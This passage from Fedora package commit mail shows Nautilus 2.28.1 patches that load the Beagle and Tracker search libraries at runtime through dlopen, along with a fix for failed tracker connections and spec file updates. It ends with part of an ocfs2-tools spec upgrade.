-	PKG_CHECK_MODULES(TRACKER, tracker-client-0.7, [
-	                  AM_CONDITIONAL(HAVE_TRACKER, true)
-			  AC_DEFINE(HAVE_TRACKER, 1, [Define to enable tracker support])
-			  AC_DEFINE(HAVE_TRACKER_0_7, 1, [Define to enable tracker support])
-			  ]
-                          msg_tracker=yes,
-	                  [
-	                  PKG_CHECK_MODULES(TRACKER, tracker >= tracker_minver, [
-	                                    AM_CONDITIONAL(HAVE_TRACKER, true)
-			                    AC_DEFINE(HAVE_TRACKER, 1, [Define to enable tracker support])
-			                    ]
-		                            msg_tracker=yes,
-	                                   [AM_CONDITIONAL(HAVE_TRACKER, false)])
-	                  ])
-        AC_SUBST(TRACKER_CFLAGS)
-	AC_SUBST(TRACKER_LIBS)
-fi
-
-dnl ==========================================================================
-
-
-AM_CONDITIONAL(HAVE_BEAGLE, false)
-
-dnl libbeagle checking
-
-AC_ARG_ENABLE(beagle, 
-	AC_HELP_STRING([--disable-beagle], 
-			[build without beagle support]))
-msg_beagle=no
-if test "x$enable_beagle" != "xno"; then
-	BEAGLE_PKGCONFIG=
-	if $PKG_CONFIG --exists libbeagle-1.0; then
-		BEAGLE_PKGCONFIG=libbeagle-1.0
-	else
-		BEAGLE_PKGCONFIG=libbeagle-0.0
-	fi
-
-	PKG_CHECK_MODULES(BEAGLE, $BEAGLE_PKGCONFIG >= beagle_minver, [
-		  	  AM_CONDITIONAL(HAVE_BEAGLE, true)
-			  AC_DEFINE(HAVE_BEAGLE, 1, [Define to enable beagle support])
-			  ]
-                          msg_beagle=yes,
-	          	  [AM_CONDITIONAL(HAVE_BEAGLE, false)])
-        AC_SUBST(BEAGLE_CFLAGS)
-	AC_SUBST(BEAGLE_LIBS)
-fi
-
-dnl ==========================================================================
 
 dnl ****************************
 dnl *** Check for libselinux ***
@@ -470,8 +410,6 @@ nautilus-$VERSION:
 	prefix:                 ${prefix}
 	source code location:	${srcdir}
 	compiler:		${CC}
-	tracker support:	$msg_tracker
-	beagle support:		$msg_beagle
 	xmp support:		$msg_xmp
 	PackageKit support:     $msg_packagekit
 
diff --git a/libnautilus-private/Makefile.am b/libnautilus-private/Makefile.am
index e831d43..0f817fc 100644
--- a/libnautilus-private/Makefile.am
+++ b/libnautilus-private/Makefile.am
@@ -154,6 +154,10 @@ libnautilus_private_la_SOURCES = \
 	nautilus-search-engine.h \
 	nautilus-search-engine-simple.c \
 	nautilus-search-engine-simple.h \
+	nautilus-search-engine-beagle.c \
+	nautilus-search-engine-beagle.h \
+	nautilus-search-engine-tracker.c \
+	nautilus-search-engine-tracker.h \
 	nautilus-sidebar-provider.c \
 	nautilus-sidebar-provider.h \
 	nautilus-sidebar.c \
@@ -195,22 +199,6 @@ libnautilus_private_la_SOURCES = \
 	nautilus-window-slot-info.h \
 	$(NULL)
 
-BEAGLE_SOURCES = \
-	nautilus-search-engine-beagle.c \
-	nautilus-search-engine-beagle.h
-
-if HAVE_BEAGLE
-libnautilus_private_la_SOURCES += $(BEAGLE_SOURCES)
-endif
-
-TRACKER_SOURCES = \
-	nautilus-search-engine-tracker.c \
-	nautilus-search-engine-tracker.h
-
-if HAVE_TRACKER
-libnautilus_private_la_SOURCES += $(TRACKER_SOURCES)
-endif
-
 $(lib_LTLIBRARIES): $(dependency_static_libs)
 
 nautilus-marshal.h: nautilus-marshal.list $(GLIB_GENMARSHAL)
diff --git a/libnautilus-private/nautilus-search-engine-beagle.c b/libnautilus-private/nautilus-search-engine-beagle.c
index 3ab6507..930923f 100644
--- a/libnautilus-private/nautilus-search-engine-beagle.c
+++ b/libnautilus-private/nautilus-search-engine-beagle.c
@@ -23,10 +23,20 @@
 
 #include <config.h>
 #include "nautilus-search-engine-beagle.h"
-#include <beagle/beagle.h>
 
 #include <eel/eel-gtk-macros.h>
 #include <eel/eel-glib-extensions.h>
+#include <gmodule.h>
+
+typedef struct _BeagleHit BeagleHit;
+typedef struct _BeagleQuery BeagleQuery;
+typedef struct _BeagleClient BeagleClient;
+typedef struct _BeagleRequest BeagleRequest;
+typedef struct _BeagleFinishedResponse BeagleFinishedResponse;
+typedef struct _BeagleHitsAddedResponse BeagleHitsAddedResponse;
+typedef struct _BeagleQueryPartProperty BeagleQueryPartProperty;
+typedef struct _BeagleQueryPart BeagleQueryPart;
+typedef struct _BeagleHitsSubtractedResponse BeagleHitsSubtractedResponse;
 
 struct NautilusSearchEngineBeagleDetails {
 	BeagleClient *client;
@@ -37,6 +47,121 @@ struct NautilusSearchEngineBeagleDetails {
 	gboolean query_finished;
 };
 
+/* We dlopen() all the following from libbeagle at runtime */
+#define BEAGLE_HIT(x) ((BeagleHit *)(x))
+#define BEAGLE_REQUEST(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), beagle_request_get_type(), BeagleRequest))
+#define BEAGLE_QUERY_PART(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), beagle_query_part_get_type(), BeagleQueryPart))
+
+typedef enum {
+	BEAGLE_QUERY_PART_LOGIC_REQUIRED   = 1,
+	BEAGLE_QUERY_PART_LOGIC_PROHIBITED = 2
+} BeagleQueryPartLogic;
+
+typedef enum {
+	BEAGLE_PROPERTY_TYPE_UNKNOWN = 0,
+	BEAGLE_PROPERTY_TYPE_TEXT    = 1,
+	BEAGLE_PROPERTY_TYPE_KEYWORD = 2,
+	BEAGLE_PROPERTY_TYPE_DATE    = 3,
+	BEAGLE_PROPERTY_TYPE_LAST    = 4
+} BeaglePropertyType;
+
+/* *static* wrapper function pointers */
+static gboolean (*beagle_client_send_request_async) (BeagleClient  *client,
+                                                    BeagleRequest  *request,
+                                                    GError        **err) = NULL;
+static G_CONST_RETURN char *(*beagle_hit_get_uri) (BeagleHit *hit) = NULL;
+static GSList *(*beagle_hits_added_response_get_hits) (BeagleHitsAddedResponse *response) = NULL;
+static BeagleQuery *(*beagle_query_new) (void) = NULL;
+static void (*beagle_query_add_text) (BeagleQuery     *query,
+				      const char      *str) = NULL;
+static BeagleQueryPartProperty *(*beagle_query_part_property_new) (void) = NULL;
+static void (*beagle_query_part_set_logic) (BeagleQueryPart      *part,
+					    BeagleQueryPartLogic  logic) = NULL;
+static void (*beagle_query_part_property_set_key) (BeagleQueryPartProperty *part,
+						   const char              *key) = NULL;
+static void (*beagle_query_part_property_set_value) (BeagleQueryPartProperty *part,
+						     const char *             value) = NULL;
+static void (*beagle_query_part_property_set_property_type) (BeagleQueryPartProperty *part,
+							     BeaglePropertyType       prop_type) = NULL;
+static void (*beagle_query_add_part) (BeagleQuery     *query,
+				      BeagleQueryPart *part) = NULL;
+static GType (*beagle_request_get_type) (void) = NULL;
+static GType (*beagle_query_part_get_type) (void) = NULL;
+static gboolean (*beagle_util_daemon_is_running) (void) = NULL;
+static BeagleClient *(*beagle_client_new_real) (const char *client_name) = NULL;
+static void (*beagle_query_set_max_hits) (BeagleQuery *query,
+					  int max_hits) = NULL;
+static GSList *(*beagle_hits_subtracted_response_get_uris) (BeagleHitsSubtractedResponse *response) = NULL;
+
+static struct BeagleDlMapping
+{
+  const char *fn_name;
+  gpointer *fn_ptr_ref;
+} beagle_dl_mapping[] =
+{
+#define MAP(a) { #a, (gpointer *)&a }
+  MAP (beagle_client_send_request_async),
+  MAP (beagle_hit_get_uri),
+  MAP (beagle_hits_added_response_get_hits),
+  MAP (beagle_query_new),
+  MAP (beagle_query_add_text),
+  MAP (beagle_query_part_property_new),
+  MAP (beagle_query_part_set_logic),
+  MAP (beagle_query_part_property_set_key),
+  MAP (beagle_query_part_property_set_value),
+  MAP (beagle_query_part_property_set_property_type),
+  MAP (beagle_query_add_part),
+  MAP (beagle_request_get_type),
+  MAP (beagle_query_part_get_type),
+  MAP (beagle_util_daemon_is_running),
+  MAP (beagle_query_set_max_hits),
+  MAP (beagle_hits_subtracted_response_get_uris),
+#undef MAP
+  { "beagle_client_new", (gpointer *)&beagle_client_new_real },
+};
+
+static void 
+open_libbeagle (void)
+{
+  static gboolean done = FALSE;
+
+  if (!done)
+    {
+      int i;
+      GModule *beagle;
+      
+      done = TRUE;
+ 
+      beagle = g_module_open ("libbeagle.so.1", G_MODULE_BIND_LAZY | G_MODULE_BIND_LOCAL);
+      if (!beagle)
+	return;
+      
+      for (i = 0; i < G_N_ELEMENTS (beagle_dl_mapping); i++)
+	{
+	  if (!g_module_symbol (beagle, beagle_dl_mapping[i].fn_name,
+				beagle_dl_mapping[i].fn_ptr_ref))
+	    {
+	      g_warning ("Missing symbol '%s' in libbeagle\n",
+			 beagle_dl_mapping[i].fn_name);
+	      g_module_close (beagle);
+
+	      for (i = 0; i < G_N_ELEMENTS (beagle_dl_mapping); i++)
+		beagle_dl_mapping[i].fn_ptr_ref = NULL;
+
+	      return;
+	    }
+	}
+    }
+}
+
+static BeagleClient *
+beagle_client_new (const char *client_name)
+{
+  if (beagle_client_new_real)
+    return beagle_client_new_real (client_name);
+
+  return NULL;
+}
 
 static void  nautilus_search_engine_beagle_class_init       (NautilusSearchEngineBeagleClass *class);
 static void  nautilus_search_engine_beagle_init             (NautilusSearchEngineBeagle      *engine);
@@ -276,8 +401,11 @@ nautilus_search_engine_beagle_new (void)
 {
 	NautilusSearchEngineBeagle *engine;
 	BeagleClient *client;
+
+	open_libbeagle ();
 	
-	if (!beagle_util_daemon_is_running ()) {
+	if (beagle_util_daemon_is_running == NULL ||
+	    !beagle_util_daemon_is_running ()) {
 		/* check whether daemon is running as beagle_client_new
 		 * doesn't fail when a stale socket file exists */
 		return NULL;
diff --git a/libnautilus-private/nautilus-search-engine-tracker.c b/libnautilus-private/nautilus-search-engine-tracker.c
index eec8d74..ff1e2d3 100644
--- a/libnautilus-private/nautilus-search-engine-tracker.c
+++ b/libnautilus-private/nautilus-search-engine-tracker.c
@@ -25,13 +25,103 @@
 #include "nautilus-search-engine-tracker.h"
 #include <eel/eel-gtk-macros.h>
 #include <eel/eel-glib-extensions.h>
+#include <gmodule.h>
+
+
+typedef struct _TrackerClient TrackerClient;
+
+typedef void (*TrackerArrayReply) (char **result, GError *error, gpointer user_data);
+
+static TrackerClient *	(*tracker_connect)		(gboolean enable_warnings) = NULL;
+static TrackerClient *	(*tracker_connect_07)		(gboolean enable_warnings,
+							 gint     timeout) = NULL;
+static void		(*tracker_disconnect)		(TrackerClient *client) = NULL;
+static void		(*tracker_cancel_last_call)	(TrackerClient *client) = NULL;
+static int		(*tracker_get_version)		(TrackerClient *client, GError **error) = NULL;
+
+
+static void (*tracker_search_metadata_by_text_async) (TrackerClient *client,
+						      const char *query,
+						      TrackerArrayReply callback,
+						      gpointer user_data) = NULL;
+static void (*tracker_search_metadata_by_text_and_mime_async) (TrackerClient *client,
+							       const char *query,
+							       const char **mimes,
+							       TrackerArrayReply callback,
+							       gpointer user_data) = NULL;
+static void (*tracker_search_metadata_by_text_and_location_async) (TrackerClient *client,
+								   const char *query,
+								   const char *location,
+								   TrackerArrayReply callback,
+								   gpointer user_data) = NULL;
+static void (*tracker_search_metadata_by_text_and_mime_and_location_async) (TrackerClient *client,
+									    const char *query,
+									    const char **mimes,
+									    const char *location,
+									    TrackerArrayReply callback,
+									    gpointer user_data) = NULL;
+
+static struct TrackerDlMapping {
+	const char	*fn_name;
+	gpointer	*fn_ptr_ref;
+	gboolean	 mandatory;
+} tracker_dl_mapping[] =
+{
+#define MAP(a, b) { #a, (gpointer *)&a, b }
+	MAP (tracker_connect, TRUE),
+	MAP (tracker_disconnect, TRUE),
+	MAP (tracker_cancel_last_call, TRUE),
+	MAP (tracker_search_metadata_by_text_async, TRUE),
+	MAP (tracker_search_metadata_by_text_and_mime_async, TRUE),
+	MAP (tracker_search_metadata_by_text_and_location_async, TRUE),
+	MAP (tracker_search_metadata_by_text_and_mime_and_location_async, TRUE),
+	MAP (tracker_get_version, FALSE)
+#undef MAP
+};
+
+static gboolean tracker_07;
 
-#ifdef HAVE_TRACKER_0_7
-#include <libtracker-client/tracker.h>
-#else
-#include <tracker.h>
-#endif
+static void
+open_libtracker (void)
+{
+	static gboolean done = FALSE;
+
+	if (! done) {
+		int i;
+		GModule *tracker;
+
+		done = TRUE;
+		tracker_07 = TRUE;
+		tracker_connect_07 = NULL;
+
+		tracker = g_module_open ("libtracker-client-0.7.so.0", G_MODULE_BIND_LAZY | G_MODULE_BIND_LOCAL);
+		if (! tracker) {
+			tracker = g_module_open ("libtrackerclient.so.0", G_MODULE_BIND_LAZY | G_MODULE_BIND_LOCAL);
+			tracker_07 = FALSE;
+		}
+		if (! tracker)
+			return;
+
+		for (i = 0; i < G_N_ELEMENTS (tracker_dl_mapping); i++) {
+			if (! g_module_symbol (tracker, tracker_dl_mapping[i].fn_name,
+			                       tracker_dl_mapping[i].fn_ptr_ref) &&
+			      tracker_dl_mapping[i].mandatory) {
+				g_warning ("Missing symbol '%s' in libtracker\n",
+					    tracker_dl_mapping[i].fn_name);
+				g_module_close (tracker);
+
+				for (i = 0; i < G_N_ELEMENTS (tracker_dl_mapping); i++)
+					tracker_dl_mapping[i].fn_ptr_ref = NULL;
+
+				return;
+			}
+		}
 
+		if (tracker_07) {
+			tracker_connect_07 = (gpointer)tracker_connect;
+		}
+	}
+}
 
 
 struct NautilusSearchEngineTrackerDetails {
@@ -96,11 +186,7 @@ search_callback (char **results, GError *error, gpointer user_data)
 		
 		char *uri;
 
-#ifdef HAVE_TRACKER_0_7
-		uri = g_strdup ((char *)*results_p);
-#else
-		uri = g_filename_to_uri ((char *)*results_p, NULL, NULL);
-#endif
+		uri = tracker_07 ? g_strdup ((char *)*results_p) : g_filename_to_uri ((char *)*results_p, NULL, NULL);
 		if (uri) {
 			hit_uris = g_list_prepend (hit_uris, (char *)uri);
 		}
@@ -139,11 +225,7 @@ nautilus_search_engine_tracker_start (NautilusSearchEngine *engine)
 	location_uri = nautilus_query_get_location (tracker->details->query);
 
 	if (location_uri) {
-#ifdef HAVE_TRACKER_0_7
-		location = g_strdup (location_uri);
-#else
-		location = g_filename_from_uri (location_uri, NULL, NULL);
-#endif
+		location = tracker_07 ? g_strdup (location_uri) : g_filename_from_uri (location_uri, NULL, NULL);
 		g_free (location_uri);
 	} else {
 		location = NULL;
@@ -271,27 +353,31 @@ nautilus_search_engine_tracker_new (void)
 	NautilusSearchEngineTracker *engine;
 	TrackerClient *tracker_client;
 
-#ifdef HAVE_TRACKER_0_7
-	tracker_client = tracker_connect (FALSE, -1);
-#else
-	tracker_client = tracker_connect (FALSE);
-#endif
+	open_libtracker ();
+
+	if (! tracker_connect)
+		return NULL;
+
+	if (tracker_07)
+		tracker_client = tracker_connect_07 (FALSE, -1);
+	else
+		tracker_client = tracker_connect (FALSE);
 
 	if (!tracker_client) {
 		return NULL;
 	}
 
-#ifndef HAVE_TRACKER_0_7
-	GError *err = NULL;
+	if (! tracker_07) {
+		GError *err = NULL;
 
-	tracker_get_version (tracker_client, &err);
+		tracker_get_version (tracker_client, &err);
 
-	if (err != NULL) {
-		g_error_free (err);
-		tracker_disconnect (tracker_client);
-		return NULL;
+		if (err != NULL) {
+			g_error_free (err);
+			tracker_disconnect (tracker_client);
+			return NULL;
+		}
 	}
-#endif
 
 	engine = g_object_new (NAUTILUS_TYPE_SEARCH_ENGINE_TRACKER, NULL);
 
diff --git a/libnautilus-private/nautilus-search-engine.c b/libnautilus-private/nautilus-search-engine.c
index 2030d95..d225237 100644
--- a/libnautilus-private/nautilus-search-engine.c
+++ b/libnautilus-private/nautilus-search-engine.c
@@ -126,19 +126,15 @@ nautilus_search_engine_new (void)
 {
 	NautilusSearchEngine *engine;
 	
-#ifdef HAVE_BEAGLE
 	engine = nautilus_search_engine_beagle_new ();
 	if (engine) {
 		return engine;
 	}
-#endif
 	
-#ifdef HAVE_TRACKER
 	engine = nautilus_search_engine_tracker_new ();
 	if (engine) {
 		return engine;
 	}
-#endif
 
 	engine = nautilus_search_engine_simple_new ();
 	return engine;
-- 
1.6.5.rc2


nautilus-2.28.1-tracker-0.7-failed-connection.patch:
 nautilus-search-engine-tracker.c |   20 ++++++++------------
 1 file changed, 8 insertions(+), 12 deletions(-)

--- NEW FILE nautilus-2.28.1-tracker-0.7-failed-connection.patch ---
>From 2a1c0cca80bb8a910c0026e0eab1f16c6e4c845b Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Tue, 20 Oct 2009 17:01:55 +0200
Subject: [PATCH] Handle failed connection to tracker daemon 0.7 series

Also, consolidate string memory management, to be consistent and clear
on a first sight.

Related to changes in bug 596082.
---
 .../nautilus-search-engine-tracker.c               |   19 ++++++++-----------
 1 files changed, 8 insertions(+), 11 deletions(-)

diff --git a/libnautilus-private/nautilus-search-engine-tracker.c b/libnautilus-private/nautilus-search-engine-tracker.c
index 3d2b465..eec8d74 100644
--- a/libnautilus-private/nautilus-search-engine-tracker.c
+++ b/libnautilus-private/nautilus-search-engine-tracker.c
@@ -97,7 +97,7 @@ search_callback (char **results, GError *error, gpointer user_data)
 		char *uri;
 
 #ifdef HAVE_TRACKER_0_7
-		uri = *results_p;
+		uri = g_strdup ((char *)*results_p);
 #else
 		uri = g_filename_to_uri ((char *)*results_p, NULL, NULL);
 #endif
@@ -109,12 +109,7 @@ search_callback (char **results, GError *error, gpointer user_data)
 	nautilus_search_engine_hits_added (NAUTILUS_SEARCH_ENGINE (tracker), hit_uris);
 	nautilus_search_engine_finished (NAUTILUS_SEARCH_ENGINE (tracker));
 	g_strfreev  (results);
-#ifdef HAVE_TRACKER_0_7
-	g_list_free (hit_uris);
-#else
 	eel_g_list_free_deep (hit_uris);
-#endif
-
 }
 
 
@@ -145,11 +140,11 @@ nautilus_search_engine_tracker_start (NautilusSearchEngine *engine)
 
 	if (location_uri) {
 #ifdef HAVE_TRACKER_0_7
-		location = location_uri;
+		location = g_strdup (location_uri);
 #else
 		location = g_filename_from_uri (location_uri, NULL, NULL);
-		g_free (location_uri);
 #endif
+		g_free (location_uri);
 	} else {
 		location = NULL;
 	}
@@ -279,14 +274,16 @@ nautilus_search_engine_tracker_new (void)
 #ifdef HAVE_TRACKER_0_7
 	tracker_client = tracker_connect (FALSE, -1);
 #else
-	GError *err = NULL;
-
-	tracker_client =  tracker_connect (FALSE);
+	tracker_client = tracker_connect (FALSE);
+#endif
 
 	if (!tracker_client) {
 		return NULL;
 	}
 
+#ifndef HAVE_TRACKER_0_7
+	GError *err = NULL;
+
 	tracker_get_version (tracker_client, &err);
 
 	if (err != NULL) {
-- 
1.6.5.rc2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/nautilus/F-12/.cvsignore,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- .cvsignore	21 Sep 2009 15:22:59 -0000	1.101
+++ .cvsignore	21 Oct 2009 13:56:12 -0000	1.102
@@ -1 +1 @@
-nautilus-2.28.0.tar.bz2
+nautilus-2.28.1.tar.bz2


Index: nautilus.spec
===================================================================
RCS file: /cvs/extras/rpms/nautilus/F-12/nautilus.spec,v
retrieving revision 1.290
retrieving revision 1.291
diff -u -p -r1.290 -r1.291
--- nautilus.spec	24 Sep 2009 14:13:31 -0000	1.290
+++ nautilus.spec	21 Oct 2009 13:56:13 -0000	1.291
@@ -14,8 +14,8 @@
 
 Name:		nautilus
 Summary:        File manager for GNOME
-Version: 	2.28.0
-Release:	3%{?dist}
+Version: 	2.28.1
+Release:	1%{?dist}
 License: 	GPLv2+
 Group:          User Interface/Desktops
 Source: 	http://download.gnome.org/sources/%{name}/2.28/%{name}-%{version}.tar.bz2
@@ -25,7 +25,7 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 Requires:	gamin
 Requires:       filesystem >= 2.1.1-1
 Requires:       redhat-menus >= %{redhat_menus_version}
-Requires:       gvfs >= 1.0.3
+Requires:       gvfs >= 1.4.0
 Requires:       gnome-icon-theme >= %{gnome_icon_theme_version}
 Requires:       libexif >= %{libexif_version}
 %ifnarch s390 s390x
@@ -72,10 +72,12 @@ Obsoletes:      gnome-volume-manager < 2
 # Some changes to default config
 Patch1:         nautilus-config.patch
 
-Patch5:		nautilus-2.23.5-selinux.patch
+Patch4:		nautilus-2.23.5-selinux.patch
 
-# Why is this not upstream ?
-Patch6:         nautilus-2.23.5-dynamic-search.patch
+# from upstream
+Patch5:		nautilus-2.28.1-tracker-0.7-failed-connection.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=589345
+Patch6:		nautilus-2.28.1-dynamic-search.patch
 
 Patch7:		rtl-fix.patch
 #Patch8:	nautilus-2.22.1-hide-white-screen.patch
@@ -88,8 +90,6 @@ Patch17:	nautilus-filetype-symlink-fix.p
 # Need to file upstream and investigate a real fix
 Patch18:	nautilus-2.28.0-revert-bg-fade-break.patch
 
-# from upstream
-Patch19:	nautilus-2.28.0-lacks-mount-do-not-use-activation-uri.patch
 
 %description
 Nautilus is the file manager and graphical shell for the GNOME desktop
@@ -121,14 +121,14 @@ for developing nautilus extensions.
 %setup -q -n %{name}-%{version}
 
 %patch1 -p1 -b .config
-%patch5 -p1 -b .selinux
+%patch4 -p1 -b .selinux
+%patch5 -p1 -b .tracker-0.7
 %patch6 -p1 -b .dynamic-search
 %patch7 -p1 -b .rtl-fix
 # %patch8 -p1 -b .hide-white-screen
 %patch10 -p1 -b .gvfs-desktop-key
 %patch17 -p0 -b .symlink
 %patch18 -p1 -b .revert-bg-fade-break
-%patch19 -p1 -b .mount-do-not-use-activation-uri
 
 %build
 
@@ -264,6 +264,9 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Thu Sep 24 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3
 - Avoid lingering menuitems (#518570)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/nautilus/F-12/sources,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- sources	21 Sep 2009 15:22:59 -0000	1.106
+++ sources	21 Oct 2009 13:56:13 -0000	1.107
@@ -1 +1 @@
-14d9464043848eddd0bd0d35bbe63415  nautilus-2.28.0.tar.bz2
+e759af11a0844828e2b484ff42ee0498  nautilus-2.28.1.tar.bz2


--- nautilus-2.23.5-dynamic-search.patch DELETED ---


--- nautilus-2.28.0-lacks-mount-do-not-use-activation-uri.patch DELETED ---


--- nautilus-condrestart.patch DELETED ---



From fabbione at fedoraproject.org  Wed Oct 21 13:58:38 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 13:58:38 +0000 (UTC)
Subject: rpms/ocfs2-tools/F-10 .cvsignore, 1.2, 1.3 ocfs2-tools.spec, 1.4,
	1.5 sources, 1.2, 1.3
Message-ID: <20091021135838.B5C3211C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/ocfs2-tools/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17916

Modified Files:
	.cvsignore ocfs2-tools.spec sources 
Log Message:
New upstream release, that does actually work!



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	18 Apr 2008 18:52:22 -0000	1.2
+++ .cvsignore	21 Oct 2009 13:58:38 -0000	1.3
@@ -1 +1 @@
-ocfs2-tools-1.3.9.tar.gz
+ocfs2-tools-1.4.3.tar.gz


Index: ocfs2-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-10/ocfs2-tools.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ocfs2-tools.spec	19 Jun 2008 06:08:39 -0000	1.4
+++ ocfs2-tools.spec	21 Oct 2009 13:58:38 -0000	1.5
@@ -1,12 +1,12 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 %define with_console %{?_without_console: 0} %{?!_without_console: 1}
-%define alphatag 20080221git
+## define alphatag 20080221git
 
 Summary: Tools for managing the Ocfs2 cluster file system
 Name: ocfs2-tools
-Version: 1.3.9
-Release: 8%{?alphatag:.%{alphatag}}%{?dist}
+Version: 1.4.3
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2
 Group: System Environment/Base
 # The source for this package was pulled from upstream's git repo and manually
@@ -18,16 +18,19 @@ Group: System Environment/Base
 #   ./autogen.sh
 #   cd ..
 #   tar -czvf ocfs2-tools-1.3.9.tar.gz ocfs2-tools-1.3.9
-Source: %{name}-%{version}.tar.gz
+Source0: %{name}-%{version}.tar.gz
 URL: http://oss.oracle.com/projects/ocfs2-tools/
 Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires: bash, coreutils, net-tools, modutils
 Requires: e2fsprogs, chkconfig, glib2 >= 2.2.3
+Requires: redhat-lsb
 BuildRequires: e2fsprogs-devel, glib2-devel >= 2.2.3
+BuildRequires: bzip2-devel
 BuildRequires: pygtk2 >= 1.99.16, python-devel >= 2.5
-BuildRequires: ncurses-devel, readline-devel, desktop-file-utils
+BuildRequires: ncurses-devel, readline-devel
+BuildRequires: corosync-devel, openaislib-devel, clusterlib-devel
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 
@@ -49,7 +52,6 @@ Group: System Environment/Kernel
 Requires: e2fsprogs, glib2 >= 2.2.3, vte >= 0.11.10, pygtk2 >= 1.99.16
 Requires: python >= 2.5, %{name} = %{version}-%{release}
 
-
 %description -n ocfs2console
 Ocfs2console can make it easier to manage an Ocfs2 cluster by
 providing a gui front-end to common tasks, including initial cluster
@@ -68,14 +70,21 @@ Provides: %{name}-static = %{version}-%{
 ocfs2-tools-devel contains the libraries and header files needed to
 develop Ocfs2 filesystem-specific programs.
 
+%package cman
+Summary: Tools for managing the Ocfs2 cluster file system (cman component)
+Group: System Environment/Base
+Requires: cman >= 3.0.0-1
+Requires: %{name} = %{version}-%{release}
 
+%description cman
+ocfs2-tools-cman contains the daemon required to use Ocfs2 with
+cman cluster manager
 
 %prep
 %setup -q
 
-
 %build
-%configure \
+%{configure} \
 %if ! %{with_console}
     --enable-ocfs2console=no \
 %endif
@@ -84,7 +93,6 @@ develop Ocfs2 filesystem-specific progra
 # parallel build currently fails, so no %{_smp_mflags}
 CFLAGS="$(echo '%{optflags}')" make
 
-
 %install
 rm -rf "$RPM_BUILD_ROOT"
 
@@ -93,6 +101,9 @@ cp -f vendor/common/o2cb.init $RPM_BUILD
 cp -f vendor/common/ocfs2.init $RPM_BUILD_ROOT/%{_initrddir}/ocfs2
 mkdir -p $RPM_BUILD_ROOT/etc/sysconfig
 cp -f vendor/common/o2cb.sysconfig $RPM_BUILD_ROOT/etc/sysconfig/o2cb
+mkdir -p $RPM_BUILD_ROOT/etc/udev/rules.d
+cp -f vendor/common/51-ocfs2.rules \
+ $RPM_BUILD_ROOT/etc/udev/rules.d/51-ocfs2.rules
 
 make DESTDIR="$RPM_BUILD_ROOT" install
 
@@ -102,19 +113,11 @@ chmod 644 $RPM_BUILD_ROOT/%{_libdir}/*.a
 %{__python} -c "import compileall; compileall.compile_dir('$RPM_BUILD_ROOT/%{python_sitearch}/ocfs2interface', ddir='%{python_sitearch}/ocfs2interface')"
 # rpm autostripper needs to see these as executable
 chmod 755 $RPM_BUILD_ROOT/%{python_sitearch}/ocfs2interface/*.so
-
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/ocfs2console/
-cp -f vendor/common/ocfs2console.png $RPM_BUILD_ROOT%{_datadir}/ocfs2console/
-desktop-file-install --vendor="fedora"                    \
-  --dir=$RPM_BUILD_ROOT%{_datadir}/applications/    \
-  vendor/common/ocfs2console.desktop
 %endif
 
-
 %clean
 rm -rf "$RPM_BUILD_ROOT"
 
-
 %post
 /sbin/chkconfig --add o2cb
 /sbin/chkconfig --add ocfs2
@@ -138,11 +141,13 @@ fi
 /sbin/debugfs.ocfs2
 /sbin/o2cb_ctl
 /sbin/mount.ocfs2
-/sbin/ocfs2cdsl
 /sbin/ocfs2_hb_ctl
+/sbin/o2image
 %{_initrddir}/o2cb
 %{_initrddir}/ocfs2
+%config(noreplace) /etc/udev/rules.d/51-ocfs2.rules
 %config(noreplace) /etc/sysconfig/o2cb
+%{_mandir}/man7/o2cb.7.gz
 %{_mandir}/man8/debugfs.ocfs2.8.gz
 %{_mandir}/man8/fsck.ocfs2.8.gz
 %{_mandir}/man8/fsck.ocfs2.checks.8.gz
@@ -152,8 +157,7 @@ fi
 %{_mandir}/man8/mounted.ocfs2.8.gz
 %{_mandir}/man8/o2cb_ctl.8.gz
 %{_mandir}/man8/ocfs2_hb_ctl.8.gz
-%{_mandir}/man8/ocfs2cdsl.8.gz
-
+%{_mandir}/man8/o2image.8.gz
 
 %if %{with_console}
 %files -n ocfs2console
@@ -162,9 +166,6 @@ fi
 %{python_sitearch}/ocfs2interface/*
 %{_sbindir}/ocfs2console
 %{_mandir}/man8/ocfs2console.8.gz
-%{_datadir}/applications/fedora-ocfs2console.desktop
-%dir %{_datadir}/ocfs2console/
-%{_datadir}/ocfs2console/*
 %endif
 
 %files devel
@@ -180,9 +181,45 @@ fi
 %{_includedir}/o2dlm/*
 %{_includedir}/ocfs2/*
 
-
+%files cman
+%defattr(-,root,root,-)
+/sbin/ocfs2_controld.cman
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-1
+- New upstream release.
+
+* Mon Sep 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-5
+- Fix pcmk resource agent.
+
